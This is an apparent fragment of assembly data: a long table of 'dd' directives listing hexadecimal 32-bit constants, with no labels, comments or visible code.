dd 0E8DC6703h, 9CD0A163h, 356A4A71h, 55C64C5Eh, 0EE32EB07h
dd 0F65CB61Bh, 20505D6Eh, 71FE734Eh, 6A88EBF4h, 0DC2C710Ah
dd 367AD970h, 0BBE50F9Ch, 76DE1A9h, 0C390E0C5h, 0F6A1A007h
dd 0FD3DC076h, 1368F24Bh, 7268C64h, 1BD1C62Bh, 2D1AA9C5h
dd 9E5C9923h, 241247C6h, 4B8C82C6h, 3EE2BAB7h, 0BAA6DF2Fh
dd 0D513DE4Eh, 0BD3B25F5h, 42DD8C93h, 864D14F0h, 798B1935h
dd 0B6ACB03Fh, 5F77CC62h, 9038EC89h, 24E51285h, 0A3607F28h
dd 33A4A82h, 6F8B2CAh, 2F0A6493h, 0E604F2E4h, 0A17F18DCh
dd 79E27644h, 0B1FCFBC4h, 0DE598F80h, 0AB549181h, 9FE6F34Fh
dd 4092BDF4h, 0D3A84882h, 0C9601CE4h, 33467034h, 9D73854Fh
dd 1A84C356h, 0B29F5AE9h, 3D70226Ch, 5A29F1BCh, 0C32A0352h
dd 51CA5717h, 548F82D1h, 64655DEDh, 0BD7ADF2Dh, 4A7B318h
dd 4168D882h, 8C1DBC4Dh, 508A8497h, 37615A6Bh, 6CD78EE7h
dd 0D1A8AAADh, 31B1E310h, 0A54655E8h, 3F82DCDBh, 0C02CAE68h
dd 71385E3Fh, 8A24D71Ah, 1405798Eh, 69CAEF2Ah, 9B1600D1h
dd 0B755A898h, 390CC61Fh, 84D118A9h, 971665AFh, 17695A28h
dd 0B08DF2FDh, 8BF0BD6Ah, 678D165h, 9F993703h, 0F6864310h
dd 38010ADAh, 5CDA8FF0h, 0FE361B34h, 59F79DF1h, 7713189h
dd 91901437h, 0A92B939Ah, 2B7BD747h, 83ED9BE9h, 0EC9E680h
dd 111B479Ah, 89095AEDh, 191DE53Dh, 1124CB70h, 0EB975338h
dd 0C5E29D34h, 0DD50C96Bh, 9053CA8Ah, 0C16DD97h, 247EBA66h
dd 4BB80F0Dh, 0B5A88606h, 8FB6C147h, 70E5983Bh, 0B2AD05B8h
dd 0CFD987B4h, 5445FE14h, 7F332289h, 0F3BCC232h, 4EA2B2BFh
dd 0DA9236FDh, 73E45016h, 0ECECE371h, 6EE0BE22h, 1046B1CDh
dd 4387D979h, 417E8347h, 968A0D24h, 3022FC01h, 0DE647528h
dd 57343548h, 0DCED242Ah, 0AF9EEF4Fh, 6E63A7A0h, 0EE479ACh
dd 81D11388h, 0A8A94A5Ah, 64BB839h, 0EFFD8C14h, 66557113h
dd 8E04A923h, 82E9D19h, 0EEC048C6h, 0F78ADD35h, 88BBAF35h
dd 0DE1AD0D7h, 6F89DD10h, 9B81091Eh, 7EBBC2D8h, 0B789795Dh
dd 10C9F834h, 0BC284C46h, 0CDA5B18Eh, 33062F83h, 2B4540F4h
dd 73A9BE79h, 0ACC62ACCh, 54F707E5h, 0E7EBD3E6h, 7F961453h
dd 7A281834h, 2CF71F94h, 0CD61F8BDh, 53BB1DA8h, 610AFD6Fh
dd 0B77DAAD5h, 2FA21EC9h, 0DA430906h, 0FAA0AAABh, 0D7F73915h
dd 29775034h, 46787C9Ah, 0A38765E9h, 991FFD57h, 0CEADD786h
dd 2458B213h, 0BC4178C4h, 0C266D795h, 2B048D23h, 5C09D94Ah
dd 695C23C6h, 0D644E922h, 0B152BDF2h, 8B401CDFh, 5AF259A6h
dd 4FEBD0E5h, 5E42D256h, 5F4E7B2Ch, 83781400h, 7ECED9D5h
dd 0AC25EA23h, 7922E990h, 555C3A4Dh, 98739485h, 0DD045C27h
dd 8C2C50DFh, 0F94E5159h, 0A5D4CD17h, 54167BE4h, 46C488B4h
dd 42451092h, 8A40605Ch, 1CBEF89Fh, 0DF4E3481h, 0EB632ECAh
dd 0A0958AA4h, 3E0BEE02h, 0E316A51Fh, 0E9FC613Ah, 0B578B2Bh
dd 0EA3C10C0h, 326BDFAAh, 0F260854Ah, 81396FE7h, 0EBE7BD33h
dd 0F2E240E7h, 1A56BAh, 0E89AF7ACh, 0DB679BC9h, 65BD0FFAh
dd 0B58E6AE4h, 0B5CC5F95h, 30DE47CFh, 0D46A94BDh, 0E4FF9DA4h
dd 63E25CD7h, 0F32992EAh, 83D3D436h, 0BA88C874h, 0CE3F801Bh
dd 1261B97Ah, 0E3F94E06h, 0C4075B4Eh, 3FE56527h, 0EB1C558Dh
dd 88F7B917h, 0F5A91377h, 0AD54FA3Ah, 51968B97h, 0FB1C820Ah
dd 0E0FA1A50h, 5CAD94E0h, 5360ADD3h, 8CCC251Fh, 5D011D82h
dd 0E5475CECh, 0BD27CC35h, 5B9D8D60h, 3FC5E78Bh, 0BBD2E8C8h
dd 27F7A434h, 11E5BFE5h, 67D6CCD0h, 8683442Bh, 0A29C2C2Ah
dd 262CBB7Fh, 0CB05061Bh, 5C869177h, 477BE08Ah, 0BD5AC6A2h
dd 93EE98Ch, 63BD06CBh, 0F844205Ch, 7C322405h, 0EC2D5A80h
dd 44CDED97h, 0CAB294DDh, 0DF1AB7FBh, 6393D139h, 0E4FC0850h
dd 0F020EB78h, 0D6B97309h, 80B8C3FCh, 2CE82A54h, 854A7A10h
dd 11DE032Ah, 960B3DE1h, 0BDB3180Ah, 10140A4Eh, 940F4761h
dd 4BA87DF7h, 745E622Eh, 34791B59h, 6263762h, 85CE7C0Bh
dd 0CB97ECD9h, 19204FEAh, 931CD0A6h, 0BDEF49FFh, 90C001C6h
dd 6003F119h, 0ED28EBFh, 4EBA571Dh, 8D4B40EEh, 0D2D94020h
dd 0B7800FA6h, 27B88253h, 0E8E02D10h, 2963287Eh, 299EDD2Fh
dd 0FE552C47h, 72BC81F5h, 24D93ECEh, 15D18C90h, 0D0FD62EBh
dd 87F433Ch, 0CA26E421h, 0EA19993Bh, 1725F04Dh, 0CCA3C2A6h
dd 1CAF0FA8h, 0C2C8C84Dh, 0BED95A0Ah, 0A86EDBC2h, 91BCB449h
dd 0C39AA864h, 0C81A2AEFh, 0D792DA31h, 70A18F6Ch, 0C905827h
dd 0B3A57006h, 130BD614h, 0E55D3115h, 0F2A1570Bh, 656B4EADh
dd 0EB3ADFA0h, 9BA81D1Eh, 72EAE942h, 19DA2DA7h, 0A5C358B1h
dd 3657623Eh, 11A9BB9Fh, 0B693F4F6h, 0E60592EBh, 52AD86B8h
dd 40F978EDh, 86D9F731h, 25304F8Ch, 3749B3A0h, 454AC714h
dd 0BA28B5E4h, 0E0D741C8h, 0B8C5410Ch, 3CB3283Eh, 0DEABF657h
dd 6E2F72F8h, 0F830C145h, 0F4CAE3B3h, 0A6FC4B48h, 9E1AF073h
dd 0B95BDD24h, 4FBA146Dh, 6E8286D4h, 830D1A07h, 72B9DDA5h
dd 49130BBAh, 4D56194h, 8D8E42EFh, 1AAA50h, 73A4A214h
dd 0B45EBA1Ch, 0FDFA9F31h, 889A22E3h, 9C2B8E16h, 5FA5CC3Ah
dd 0EFB17F9Dh, 0AECFC6EEh, 0D031A520h, 0A53F522Dh, 5C7BAD74h
dd 0AECBD396h, 2BA7B56Fh, 3FE514E1h, 66C87E6Eh, 7FEDFBDBh
dd 8226F8CFh, 0EAF91519h, 0BE64600Eh, 52570E24h, 54017DE4h
dd 6366CDF5h, 3176EB94h
dd 70E80179h, 2E655A82h, 4B451EDBh, 3FE90C5Ah, 567FAE3Ch
dd 8C970AC0h, 0E34A1AF3h, 0F1D68600h, 963D8CCDh, 0FD0E3943h
dd 629C3E16h, 4AD32204h, 0BBC7D2B2h, 0A19C7EA5h, 53DBC672h
dd 0F3AC85BCh, 98BEE8D3h, 0D8C338E4h, 1757FB2Fh, 0AE7651B8h
dd 1E482236h, 0D0D0D846h, 0A2EB2402h, 0C524F938h, 0F9F971F3h
dd 0D4A3B365h, 0BC406382h, 53B85CAAh, 212CC7B9h, 91D600E1h
dd 30F111E1h, 3A069FC2h, 3C66356Ah, 45ED85FEh, 5EB416BCh
dd 0ABE9C217h, 66A8E86Dh, 72DD7A83h, 3784B05Ah, 0CF073EF7h
dd 0DED65C70h, 21F7E85Bh, 0E70DF22Dh, 0EE51F898h, 0EEF849FEh
dd 15E42D08h, 85C6519Bh, 1511061Fh, 0C1F1DD2Dh, 952D091h
dd 0BE8C8753h, 843333DBh, 97751F7Bh, 256EDFF6h, 86FCB4BBh
dd 0F8DF9AF4h, 735AC2C2h, 66B3699Ch, 0E51E7D4Ch, 0E19252D1h
dd 0BB3EA97Bh, 0D175B7E8h, 71A62364h, 18FFB92Ch, 95DBA867h
dd 0A8A24A84h, 0DFF976F8h, 3F8D3412h, 0E4083690h, 19353BCFh
dd 594B1D82h, 0D6E12C97h, 8335F627h, 371EEC95h, 0FE26C3A1h
dd 8DD3D469h, 563E9C84h, 0F0F4C6CDh, 2C897F0Fh, 0AE379B56h
dd 0D506B705h, 0DBDBB941h, 751144A4h, 47339E57h, 9BD14350h
dd 39EAA22Bh, 86DD4FC7h, 2B001727h, 11FE6E7Bh, 0B50EC4E9h
dd 0D9ACB95Ah, 6BAA2BAFh, 931CEFAEh, 0A134A330h, 5A21E78h
dd 0D0EB6D58h, 0EB26BA88h, 0D4470B8Ah, 15FD11A1h, 0D3FCF1DFh
dd 0A84AAE38h, 5150A23Eh, 16EAA1C5h, 6EDE95B9h, 99C120B1h
dd 0C22E99A8h, 68061537h, 4897162Ch, 8B9C8793h, 0F2CE236Ah
dd 0CFFF348Ch, 0B694E9F3h, 0C8B4C9Bh, 0D65CBE1Bh, 3AE4CCF3h
dd 38148FAh, 6F53C2EAh, 8B3FA501h, 0C5BCB7F2h, 0CA19045Eh
dd 1722DA2Dh, 0D91ADE00h, 49AB36E7h, 0ED49CD7Eh, 0B370B59Fh
dd 0B3E3EFA5h, 74565B03h, 0C29B26C0h, 0E0857A2Eh, 5301747Ah
dd 0DA7DAE43h, 0DEDC2473h, 0ABA7552Bh, 0FDFE0DC7h, 7F9E1FA3h
dd 164968A0h, 97F5A423h, 9A1D0F5Dh, 25D757E8h, 0CAE8A51Fh
dd 74D10383h, 0C74D0BEDh, 4874330Dh, 8E0FACB0h, 0F8EB9344h
dd 30B78CCh, 3EED8A63h, 6434EE51h, 0F61C688Fh, 381419DFh
dd 0FF4D4AEBh, 9BEEEFACh, 10084F75h, 0B999593Ch, 0E12323DCh
dd 1C7621E4h, 0CB70EF6Bh, 0C28AFFFBh, 0A6932D2h, 0B0F6B5CFh
dd 29D3B599h, 0E63B6FCBh, 962B4F40h, 0D2060AAAh, 0E4DBBA66h
dd 0B2CAC039h, 171A9564h, 0E11C9139h, 256C2E2Fh, 5F746CFCh
dd 6D05A5DEh, 7D9A82E6h, 0EA24EA15h, 1F240A82h, 2A4A57E3h
dd 3130763Bh, 9EFAC65Fh, 48B74Ch, 776A8F1Eh, 0E1CEBE25h
dd 8361F46Eh, 0E66DFA56h, 0FD46FC98h, 0C6CB3D5Ch, 63FC25BDh
dd 5CE0F493h, 985F2F7Ch, 2D7AB466h, 0A61DA119h, 72C80A8Ch
dd 0E62911FAh, 32E3C80Eh, 4BFC24Ah, 230915Ah, 0C3E03BCCh
dd 430471B3h, 0C63479C4h, 0CA45C450h, 0CCC9BD76h, 0FE202CA0h
dd 741AFE0Eh, 0E9738418h, 666554FDh, 0EC794CA2h, 0E74185A0h
dd 0F3517708h, 0D92E3787h, 87B3D341h, 7C80EAC7h, 0D1BBB941h
dd 0F1E349Dh, 0D693685Dh, 6D263EB6h, 9AE2F365h, 0CE81ACCEh
dd 91D6AE5Bh, 0C6A8516Ch, 73906459h, 0A9B4F83h, 567D244Dh
dd 6F3EE2DEh, 8DD86089h, 73E6E5B5h, 0E0406AA9h, 1700FA65h
dd 8E84216Ah, 7E0B1663h, 117E08FDh, 90C0C0D1h, 10001EACh
dd 724A7D61h, 0E0C0F667h, 3982604Eh, 0DB0E4F1Dh, 0FCA2A288h
dd 0BC84E789h, 0DF13FA14h, 0FE75314Ah, 5F9CA4CAh, 0E7E95Ah
dd 463E08F0h, 8406CDE8h, 0EDB7F242h, 6ED6DDEEh, 72D0A43Ah
dd 408039B3h, 42899D7Ah, 0BCA09A22h, 0DDFCFED0h, 0E3DAD638h
dd 7B6D5D27h, 24D3EDB8h, 7F18AD53h, 0BE84C6FBh, 0B051BF8Ch
dd 0E1FA2AFFh, 8537E1D8h, 96EEEB6Ah, 0A2824993h, 20776D12h
dd 26E5D216h, 0E2CB5102h, 3B3669B0h, 9187AF85h, 7CD2F68Fh
dd 0EE10FF22h, 0F911518Dh, 35D2A72Fh, 60EE6FE0h, 0C803C8CAh
dd 3CBDB485h, 0D11F3023h, 9026D603h, 7EFC6EE2h, 93863A2Dh
dd 68FA12C6h, 0A164028Ah, 8BCD992Eh, 7A7C0D12h, 91A91B16h
dd 0CEB8F1CDh, 0E2ADC42Ch, 552DB98Fh, 0FC728225h, 1498B83Ah
dd 2BF74DE8h, 89F1FEF4h, 84917CADh, 294E76E2h, 16A56D7h
dd 0A782F098h, 0AAEA9EB2h, 3E597EEAh, 6F391300h, 841545C3h
dd 70BF4F1Bh, 0BC018595h, 0AF85C4C7h, 8FAC81BCh, 0F86FE5B9h
dd 38E7AA28h, 3B8774EFh, 95CE20F2h, 7B910283h, 187A9A61h
dd 389822BFh, 0F34E016Fh, 8BD2619h, 0BB1A252Dh, 46EF1493h
dd 352D3DA6h, 5491803Dh, 0DD7A5108h, 0A09DB5C5h, 0B93B6EDFh
dd 0EE926FAEh, 0C2E7575Ah, 695E2AABh, 0BB21E618h, 0C1EEF4E8h
dd 1B89AB50h, 0A835BC19h, 704DD3A8h, 0B4A0CC97h, 0B776DC77h
dd 68AC9116h, 5AF82B98h, 0CBF8C574h, 0DCF83A52h, 978A4482h
dd 3AF9C58Dh, 7AC002D3h, 9AE90C11h, 2532324Dh, 0C02329Eh
dd 0B0C3E91h, 5D15ADDFh, 0DFA68EE4h, 8ED3D62Dh, 38670584h
dd 0A6E91660h, 0C12CEBFAh, 7F4D602Fh, 7B51E897h, 3687880Eh
dd 260C1185h, 8EDF554Fh, 5C1680D2h, 0D190F745h, 1E8B8DAAh
dd 0FB3E921Ah, 58A0DD72h, 36B2644h, 53376D2Fh, 0FAAC00C1h
dd 225FC3B8h, 0CEE250F5h, 0E4221913h, 8C622A0Dh, 5D748C15h
dd 295A7A30h, 0B81F2455h, 45E5FBB3h, 196A1A2Eh, 58354599h
dd 0F6943BAh, 4F162D29h, 5B1E083Bh, 856B50B4h, 0CBE62034h
dd 4B0797h, 2B4F6108h, 38103696h, 71001F16h, 0AFB2993Dh
dd 794C1081h, 80264A7Ah, 3E737B4Ch, 0ABD84C84h, 0BE06CAF8h
dd 0A06C5206h, 0D4BE8857h, 7DF7792Ch, 0E9A0BBD2h, 5DC2FBCCh
dd 947CECCCh, 0A0D925A1h, 2C1F3F38h, 0C08B155h, 0F72B4C1Bh
dd 9B4B6E2Eh, 27AF9693h, 0F663D6A2h, 840B821Fh, 0C03DF5A9h
dd 7B7E4B4Ch, 417B5F0Dh, 6EA0B6EFh, 4B6547A7h, 0E8B6C42h
dd 0E9012CCBh, 0C28276F4h, 0E6D137FEh, 827800F1h, 0ACE96BCh
dd 79784CCFh, 3376F041h, 0FEDB922Ah, 0C3A9D37Fh, 526716F7h
dd 320989DFh, 0D27E4B40h, 0A5EA3B6Ch, 3F6CFF0Bh, 6802D51Fh
dd 0DB569A4Ah, 0B8C21449h, 0F6AA865h, 609075F2h, 8CA97B8Ch
dd 0DEABC0E5h, 0D2543C5Bh, 0DE773CDBh, 93BECAE1h, 2AF1B131h
dd 0A8D5DDA4h, 8489C07Ch, 59BC9E06h, 785DCDBEh, 0ED2F4214h
dd 37428B0Ch, 0BC99C9D8h, 0F6523B74h, 51618FA6h, 6C9CB979h
dd 0E3C35369h, 0A92E1ED7h, 9CAC16F8h, 0E3D51657h, 0F41D116Eh
dd 91F051E2h, 0DCDBD9AEh, 9D6CB21h, 0AA8CC165h, 45B7020Bh
dd 0F648C86h, 2F93B7BDh, 1AAF20B7h, 0BAFBA7D3h, 56C0550Dh
dd 3E530117h, 3264E540h, 261EBAB7h, 0FE524E73h, 9B2C011Dh
dd 5AE0FF60h, 6E7D6BC1h, 26C8EF8Eh, 0F49C4339h, 39E5F527h
dd 0D0A1B9B2h, 0A2F0376h, 0E6688474h, 0FF9F1BE4h, 0D0EF6ED1h
dd 29221934h, 219660C0h, 0D34F3538h, 6EF2A228h, 0ABB09315h
dd 9E074117h, 29037761h, 832FBAD7h, 61ED3258h, 76934D31h
dd 0AEBF6E7Dh, 0BA6BB1EFh, 0E333BD38h, 0E6DB1D6h, 2F5FC419h
dd 0FCEA5918h, 0F6CED88Fh, 0F48E0BA5h, 0A1C340BCh, 802C20DDh
dd 2352213Bh, 0A4070746h, 3C8501F1h, 2973890Eh, 0BAAFDABFh
dd 37C51F2Ah, 1F906DE7h, 0A90AD3B1h, 0E8E5640Eh, 0C88B9F28h
dd 86645FBBh, 444D4030h, 0A79840C3h, 0F5FE00D3h, 0B2844A52h
dd 5A2DFAA6h, 0FD75AB41h, 320CC91h, 21D78F2Eh, 9311B5F5h
dd 0DE0686BCh, 4DCEC9BEh, 23EC62A9h, 4F6F4EBFh, 8DC1ED4Ch
dd 0DC1EBF4Ch, 26C7AC6Fh
dd 1DA80E7Ah, 911DCF35h, 51723006h, 5E78C241h, 90C6D19Dh
dd 2158B5EDh, 8973AB76h, 1F27F20Bh, 0CC21C941h, 0AACBBD21h
dd 7B045079h, 0BB5AE10Dh, 84CEE031h, 64C1B90Ch, 0C3864452h
dd 6560E9EDh, 837288D0h, 239B0C39h, 766D1EC1h, 3BD9B5A5h
dd 9C2EAE12h, 0AB9D6CE2h, 3F0D7464h, 7105C2FBh, 0EE371218h
dd 0EC9DABC9h, 82138BC8h, 9242FCADh, 0BB0A9446h, 32B10A32h
dd 8848DB22h, 20C4877Ah, 0FB77E9D9h, 2ADAB1C5h, 44046F84h
dd 0AC3A6F03h, 0B11CDC98h, 6C7A545Ch, 0A8A514E9h, 0AE9B023Fh
dd 0C4011B2h, 1A3B0779h, 16BC915Ah, 53742D3Ch, 0F85128D9h
dd 0DC763EE6h, 0D2C2CCF2h, 66CD4F97h, 0C84E03E0h, 740E3810h
dd 6A2E9736h, 0C0E53A52h, 0AA9E86C2h, 0EACBE5Bh, 284A62A6h
dd 32519483h, 943B29Dh, 5FFEAA4Ch, 17F51685h, 0E25476F7h
dd 0BE07F334h, 7AB6702Eh, 0ED66B8B1h, 0B655494Dh, 9C135369h
dd 9C8642E3h, 0B6AC341Eh, 69E2F768h, 0D52B19F3h, 38245FDAh
dd 0E40DE931h, 2282A01Fh, 0FD86A097h, 99016E4h, 0AA360997h
dd 375CCD98h, 0EC7D28B9h, 0ADEA8573h, 0F31B70E2h, 0D0A4BD5Dh
dd 1075FACCh, 39883015h, 52291983h, 1AA1C52Ah, 874B73D4h
dd 2B59610Eh, 2DB108FDh, 6018867h, 0C273C11Fh, 2522F2BBh
dd 8C360D91h, 51EC4647h, 8A380688h, 0E45E34C8h, 0CB9F58A5h
dd 7DC83C4Dh, 4A4310C1h, 2A487787h, 0A5D947DEh, 832889A9h
dd 9D35EB90h, 9244CA63h, 4263CD96h, 0FE024923h, 17155030h
dd 3D767DA6h, 69B76459h, 0E5245605h, 0BC5FB7ECh, 3C960209h
dd 8BC9AB8Bh, 4A594918h, 2BFCF2ECh, 0C4EB2C65h, 49243EE4h
dd 0B0BFDC2Eh, 5E6DBF3Eh, 3221952Dh, 11861134h, 0D7CD6C3Dh
dd 0C33ECC81h, 3DD50D60h, 6FE33A3Bh, 45CCA073h, 0C0A30DAEh
dd 0E46EE553h, 4CB4F62h, 0ABB4FD75h, 0D8D1BAF9h, 664F419Ch
dd 8346C89Eh, 4BCE1EF4h, 7AB7AF70h, 0F56B4FF0h, 0F262D98Ah
dd 721F4351h, 2E101A59h, 6FF586CBh, 7AF1C965h, 664D3E1Dh
dd 0C846BEF9h, 0CDA79190h, 0E103FEA0h, 2FA51E9Fh, 380D2FDEh
dd 0CDE51B1Dh, 0C200A9F1h, 0AB281C92h, 4E2C0A2Ah, 56D5BE7h
dd 59683FD8h, 1119C0B7h, 22390D6Eh, 3FFC38DCh, 0E4A93F35h
dd 2D3972CAh, 4218AE7Dh, 3DB2344h, 853F6402h, 2D4E7890h
dd 2AA6013Eh, 98F49C3Ch, 0E09A4330h, 87AD5804h, 9C3B4AEFh
dd 68CA2A00h, 1CEFBDB9h, 848FCF9Bh, 316960EEh, 818A4C46h
dd 3AA9FEF0h, 2527FDD4h, 1CBB52CCh, 6AFD5D0Bh, 0B52E1AD3h
dd 2E01DA0Bh, 1F9C0D59h, 0A419296Bh, 0C198E851h, 0ECB2ADB2h
dd 2F13273Fh, 2B95EEE1h, 845440F4h, 5B25FDE3h, 1AEE3D20h
dd 51DA6DA0h, 68FC0AB4h, 564AD41Ah, 0DBD53049h, 0CEB64462h
dd 9FD24202h, 9022A767h, 464E59BBh, 0B1990004h, 1E797BF2h
dd 638D35C9h, 0D64C5F11h, 0C4A3FB29h, 8E003A2Dh, 48E436F3h
dd 9E646E7Ah, 0DCF8B45Dh, 99B4DB19h, 23BBC8C7h, 0CE4296BEh
dd 600DACB1h, 0C425591Eh, 8246F9ACh, 0DD283AD0h, 0A73F208Ch
dd 8887E6C2h, 0DDEA1301h, 0F2FC2111h, 34F16645h, 0B98AB498h
dd 99BBD9Dh, 3A6BE9F1h, 74BBB0E7h, 0EC2ECC1Ah, 562A4490h
dd 8183C495h, 19FAE423h, 0FE4122F7h, 0B855C35h, 7405A25Fh
dd 0A751346h, 1EBD7C19h, 0AA1845D0h, 0E2E56D17h, 0CF4446CDh
dd 1D4DDF5h, 9C3701Ah, 8416EF99h, 489E9C88h, 0AE3D1419h
dd 41E3F170h, 6DDD705Ah, 0E2DFB77Bh, 0BACE867h, 0AFCBF72Eh
dd 4422708Ah, 0A19EBA2Eh, 0D591A306h, 0E0003672h, 1E3EB2BFh
dd 0CB5C28A0h, 8E10950Ah, 0BF20657Dh, 51DF3B49h, 8D970562h
dd 2BA47F0Bh, 0D1061F6Dh, 4BEFA972h, 808928B5h, 26E21F12h
dd 6DCA4299h, 0E0EFFE44h, 88CDA0ADh, 62C2D711h, 27D387E8h
dd 2A6E3BA8h, 0D286D753h, 46BFDD2Ch, 0EE0C3C81h, 48BA2F71h
dd 0A87B9377h, 330DD05Ah, 0B66DE82h, 0D921FE90h, 0C74F9DC1h
dd 824BC01Eh, 6CE9EA0Ah, 0FB6AC17Dh, 4EFD557Eh, 979DE31Ah
dd 75C382CEh, 21AA9AC9h, 0B29447CCh, 6D4A8265h, 6E4E56A1h
dd 7398A356h, 98295844h, 0BFF3673Dh, 0D69AE963h, 6B3CA52h
dd 5F82ABE0h, 427068BFh, 0B018314Bh, 662DD059h, 69ED9FB8h
dd 0FEA9EA60h, 0FC5F9ED4h, 60717820h, 1DB4B339h, 0C36099E1h
dd 9F794774h, 6FD33904h, 0CEDBD625h, 5F5C66D8h, 7A874874h
dd 6B1915Ah, 0F47E6D72h, 1F0BE22Bh, 223E7CF3h, 0C6C3FCF1h
dd 0F61854BEh, 9F7771ADh, 8D626B45h, 47599527h, 0C04FDE36h
dd 596FE014h, 2B06A42Bh, 3890DB39h, 0F653B80Bh, 5EAF4C9Bh
dd 0E0C26EB2h, 823559E5h, 1CA82E10h, 0EB92AB48h, 0DD413690h
dd 4A7727BEh, 3FB90E35h, 0F1AD533Ah, 97982723h, 371BC59Ah
dd 931F8E25h, 7A6B054Bh, 4693DBC1h, 8ABDF20Ch, 4514C7h
dd 3988C4E0h, 282A82E4h, 62F3FBC1h, 0C41A422Eh, 0EEA37EEEh
dd 0C2BBDE58h, 0D9819613h, 14F7728Eh, 5040B34Ch, 881DA906h
dd 0B61644D5h, 0DC08667Eh, 0EF9DC8FBh, 1053A386h, 0C8ED0C12h
dd 0E17054A1h, 9ACFECh, 475E090Bh, 0C9BC7B08h, 0DA8F8275h
dd 6C487A11h, 6669A565h, 0EB80534Ah, 0BD0D5D6h, 0FD6FD041h
dd 8E3F1863h, 1EA05E7Ah, 0A462C650h, 0D069A7D4h, 0D6E3EAF2h
dd 0F99DF377h, 0CD7BE20Dh, 44C76144h, 0AE6BDB30h, 845E37A7h
dd 0A2253D01h, 0B1C563AAh, 24A3F18Fh, 294FE987h, 132BE0F9h
dd 38F09844h, 39A5B200h, 308084B5h, 210A8D6Eh, 869064A5h
dd 96E1ECBFh, 66C66B23h, 185C57FAh, 7DB9C9A5h, 72C2B9C6h
dd 0AA69F85Fh, 1E013785h, 0E81721D3h, 5B75CCB8h, 378F18E8h
dd 6118960Fh, 450CF951h, 0DC03897Fh, 4A079155h, 8240596Ch
dd 0E8A132F8h, 0B589BAD9h, 0C2B8ACDCh, 193DF240h, 7BCE628Bh
dd 757C747Fh, 0B3744ECh, 856649E3h, 8FE079BBh, 0C6A81E5Bh
dd 0C0FBA03Fh, 23B5515Dh, 0D86A5039h, 0E741290Eh, 53B5E318h
dd 978CC20h, 16425363h, 61E0658Ah, 0C7FF69F5h, 9AFB9A0h
dd 0D5B52619h, 0B1A3C333h, 8594D20Bh, 1A828031h, 427E6C80h
dd 0DB6A3CDBh, 0B3E69996h, 4036EEE1h, 0B125784h, 56D68DB8h
dd 794BD186h, 2E596969h, 396B7202h, 0EA0D1229h, 7079E8C6h
dd 0BF063F20h, 0C90D0BE8h, 1C45EFDEh, 0F8233853h, 0FEDA97ABh
dd 658229A3h, 0AC420CBEh, 38FA13F0h, 91C8B4D3h, 0C07915F1h
dd 4C976475h, 0FA9967EDh, 710525FCh, 28FE80F7h, 8DE43C36h
dd 0EF30FE8Ah, 9CE25682h, 0FA9D4ECFh, 350FFF4h, 0DA1BEC13h
dd 0B80496C7h, 0C0080C92h, 1F6B3AAAh, 0F96AF719h, 3994B4EBh
dd 0FF158E4Bh, 8D7A602Dh, 4EFB266Fh, 2E05FCD9h, 5B5A2DABh
dd 0CB4E6E01h, 0C07BD3D7h, 16D0915Ah, 0A65AA1Dh, 9D3EC2A1h
dd 578CB987h, 0D343F237h, 66869456h, 1E676330h, 0FC94F0B2h
dd 210E8D2Bh, 0CBF03E17h, 298A39A0h, 0D9D296CAh, 95EB4393h
dd 8264D4C7h, 89F78CABh, 0CE3A53F2h, 9A47B0AEh, 0ADA006DDh
dd 842012CDh, 716CE3F3h, 0B561797Ah, 135B00E5h, 4E9D05F5h
dd 236442ECh, 35D1C27Eh, 7318C6D7h, 0F2431A02h, 0C2D5A8F5h
dd 0F57013BAh, 0BF3D1ED6h, 0D4FBB7C2h, 2063AB07h, 7E46A6A8h
dd 0CE748A2Ch, 5C533E97h, 0D015F6E5h, 875863A7h, 5E2C0CCFh
dd 0F413F19Fh, 0A0466D10h, 0E3316D11h, 327EE9D4h, 1B11A24Fh
dd 66AD365Ah, 588B6AFFh, 0A464FC3Ah, 0CCFDF4C7h, 2BF82B45h
dd 1C111B9h, 0E5AC5494h, 0B64FCEF3h, 0B3CEC3DEh, 0BFE91BB5h
dd 0BAB0960Dh, 8F993878h
dd 5EE825B9h, 59A40BD3h, 0D0D35383h, 725A6783h, 0DBEA45E4h
dd 1F0A7DA5h, 62EFC19Dh, 5369F789h, 0EBF3054Ch, 9052E55Dh
dd 3E7DC691h, 65158E0Eh, 3E48D152h, 0B17D6629h, 0F7CBA13Bh
dd 20BECEAAh, 0A046CF14h, 29F6EACDh, 42E6C019h, 9AD84E3Eh
dd 58A148D2h, 16EC5FCCh, 0AF0BCB80h, 7E0BF5A6h, 9488A263h
dd 0B5E6B86Ch, 800BB173h, 0D30285C4h, 9B77CAC7h, 0AA4B0F56h
dd 52AF6EB2h, 39FFFCB3h, 518F9398h, 33C45809h, 5EBC442Ch
dd 1D36A521h, 0ECF66163h, 0C678114Bh, 0B33BBF7Ah, 0F0747C44h
dd 25679279h, 5A703D22h, 7AE5DF30h, 1B0DFD22h, 834F88D6h
dd 0ACD6024h, 0A1FF70DAh, 0A57E3D6Fh, 1E5AD208h, 0D2635E4Ah
dd 681799CEh, 37B5B27Eh, 0FD51843Ch, 963C1E61h, 2F289A9Ch
dd 0DA3E5AD3h, 0DF00024Fh, 20EBA76Ch, 0C3B1B15Ah, 4B9C51CDh
dd 0D8005124h, 7096BBA9h, 90144881h, 0E9F3C6EAh, 0D6923278h
dd 0B2A1F07Bh, 87BDC4F0h, 0FD2A20D7h, 4913B15Ah, 3057000Ch
dd 14F3D516h, 0EA305721h, 84AA20B5h, 3427F776h, 7C80C5EEh
dd 6FA42BD9h, 754C41FAh, 0B5910768h, 0A6CC1A5h, 0A43FC60Dh
dd 80582405h, 0A99EF15Ch, 0BA697D8h, 3F977DC5h, 1BF4C304h
dd 241A2DEEh, 0CE62B3AEh, 0B91F89E5h, 338C9CBh, 0EA03C602h
dd 0DE788325h, 37BF9E31h, 269A144Bh, 9DD3D810h, 819554F3h
dd 0ED00004Eh, 5746D9Eh, 32D65934h, 0FB3C27BEh, 4DC74FA0h
dd 0B2AB99A7h, 108D82DFh, 5011DD6h, 659EA741h, 7A82630Bh
dd 0ED108343h, 9256376Bh, 737B190Dh, 0DAF199BEh, 2E7627E1h
dd 0DE1122B7h, 0CE90F2BAh, 0D843B643h, 67E76ADFh, 45098EF9h
dd 19508F9Dh, 327D8B8Fh, 940433FBh, 708FDB60h, 6FE30794h
dd 89D3F204h, 4253F872h, 89D9CCF7h, 9B93E0FBh, 991A8258h
dd 0C0BA7BF8h, 697334A0h, 4139BD9Bh, 6632388Ch, 54E86DA6h
dd 0C7AFA6F7h, 0FB31096h, 687B2BD9h, 63C628E7h, 6D172B4Ch
dd 0F052C45Eh, 0C0423BA0h, 0A8E55A6Ch, 5ED7E68Ch, 3C47F59Eh
